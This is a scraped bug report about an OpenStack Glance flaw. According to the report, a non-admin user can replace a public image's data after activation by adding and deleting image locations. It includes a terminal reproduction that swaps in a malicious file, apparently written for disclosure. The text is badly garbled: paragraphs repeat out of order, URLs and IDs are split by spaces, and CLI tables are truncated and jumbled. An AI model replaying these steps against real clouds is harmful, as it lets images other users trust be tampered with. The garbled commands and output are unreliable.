Some time ago there was a security bug https://bugs.launchpad.net/glance/+bug/1525915 and a patch was proposed and merged in Glance repo. Unfortunately it partially fixed the problem and the issue with immutability still exists.
Bug description:
User (non admin) can change image data by updating location for image when "show_multiple_locations" config parameter has been set to true. This breaks the immutability of images in Glance and allows malicious user to replace data after image activation.
Some time ago there was a security bug https:/ /bugs.launchpad .net/glance/ +bug/1525915 and a patch was proposed and merged in Glance repo. Unfortunately it partially fixed the problem and the issue with immutability still exists.
Bug description: locations" config parameter has been set to true. This breaks the immutability of images in Glance and allows malicious user to replace data after image activation.
User (non admin) can change image data by updating location for image when "show_multiple_
mfedosin@wdev:~$ glance image-create --name good --disk-format qcow2 --container-format bare --visibility public ------- -----+- ------- ------- ------- ------- ------- --+ ------- -----+- ------- ------- ------- ------- ------- --+ 10T18:41: 53Z | 66b7-43e0- 90b5-ebe62232f7 d6 | 8806e46fb4a7edc a3 | 10T18:41: 53Z | ------- -----+- ------- ------- ------- ------- ------- --+ 66b7-43e0- 90b5-ebe62232f7 d6 --url 'https:/ /dl.dropboxuser content. com/u/13626875/ good.txt' ------- -----+- ------- ------- ------- ------- ------- ------- ------- ------- ------- ------- ------- ----+ ------- -----+- ------- ------- ------- ------- ------- ------- ------- ------- ------- ------- ------- ----+ 10T18:41: 53Z | 2a745d21- 66b7-43e0- 90b5-ebe62232f7 d6/file | 66b7-43e0- 90b5-ebe62232f7 d6 | /dl.dropboxuser content. com/u/13626875/ good.txt", "metadata": | 8806e46fb4a7edc a3 | 10T18:42: 21Z | ------- -----+- ------- ------- ------- ------- ------- ------- ------- ------- ------- ------- ------- ----+ 66b7-43e0- 90b5-ebe62232f7 d6 --file ooo 66b7-43e0- 90b5-ebe62232f7 d6 --url 'https:/ /dl.dropboxuser content. com/u/13626875/ bad.txt' ------- -----+- ------- ------- ------- ------- ------- ------- ------- ------- ------- ------- ------- ----+ ------- -----+- ------- ------- ------- ------- ------- ------- ------- ------- ------- ------- ------- ----+ 10T18:41: 53Z | 2a745d21- 66b7-43e0- 90b5-ebe62232f7 d6/file | 66b7-43e0- 90b5-ebe62232f7 d6 | /dl.dropboxuser content. com/u/13626875/ good.txt", "metadata": | /dl.dropboxuser content. com/u/13626875/ bad.txt", "metadata": | 8806e46fb4a7edc a3 | 10T18:42: 29Z | ------- -----+- ------- ------- ------- ------- ------- ------- ------- ------- ------- ------- ------- ----+ 66b7-43e0- 90b5-ebe62232f7 d6 --url 'https:/ /dl.dropboxuser content. com/u/13626875/ good.txt' 66b7-43e0- 90b5-ebe62232f7 d6 --file ooo
+------
| Property | Value |
+------
| checksum | None |
| container_format | bare |
| created_at | 2015-11-
| disk_format | qcow2 |
| id | 2a745d21-
| locations | [] |
| min_disk | 0 |
| min_ram | 0 |
| name | good |
| owner | f3b42d4b90d840b
| protected | False |
| size | None |
| status | queued |
| tags | [] |
| updated_at | 2015-11-
| virtual_size | None |
| visibility | public |
+------
mfedosin@wdev:~$ glance location-add 2a745d21-
+------
| Property | Value |
+------
| checksum | None |
| container_format | bare |
| created_at | 2015-11-
| disk_format | qcow2 |
| file | /v2/images/
| id | 2a745d21-
| locations | [{"url": "https:/
| | {}}] |
| min_disk | 0 |
| min_ram | 0 |
| name | good |
| owner | f3b42d4b90d840b
| protected | False |
| schema | /v2/schemas/image |
| size | 43 |
| status | active |
| tags | [] |
| updated_at | 2015-11-
| virtual_size | None |
| visibility | public |
+------
mfedosin@wdev:~$ glance image-download 2a745d21-
mfedosin@wdev:~$ cat ooo
I'm really good image.
mfedosin@wdev:~$ glance location-add 2a745d21-
+------
| Property | Value |
+------
| checksum | None |
| container_format | bare |
| created_at | 2015-11-
| disk_format | qcow2 |
| file | /v2/images/
| id | 2a745d21-
| locations | [{"url": "https:/
| | {}}, {"url": "https:/
| | {}}] |
| min_disk | 0 |
| min_ram | 0 |
| name | good |
| owner | f3b42d4b90d840b
| protected | False |
| schema | /v2/schemas/image |
| size | 43 |
| status | active |
| tags | [] |
| updated_at | 2015-11-
| virtual_size | None |
| visibility | public |
+------
mfedosin@wdev:~$ glance location-delete 2a745d21-
mfedosin@wdev:~$ glance image-download 2a745d21-
mfedosin@wdev:~$ cat ooo
All your base are belong to us! Muahahaha!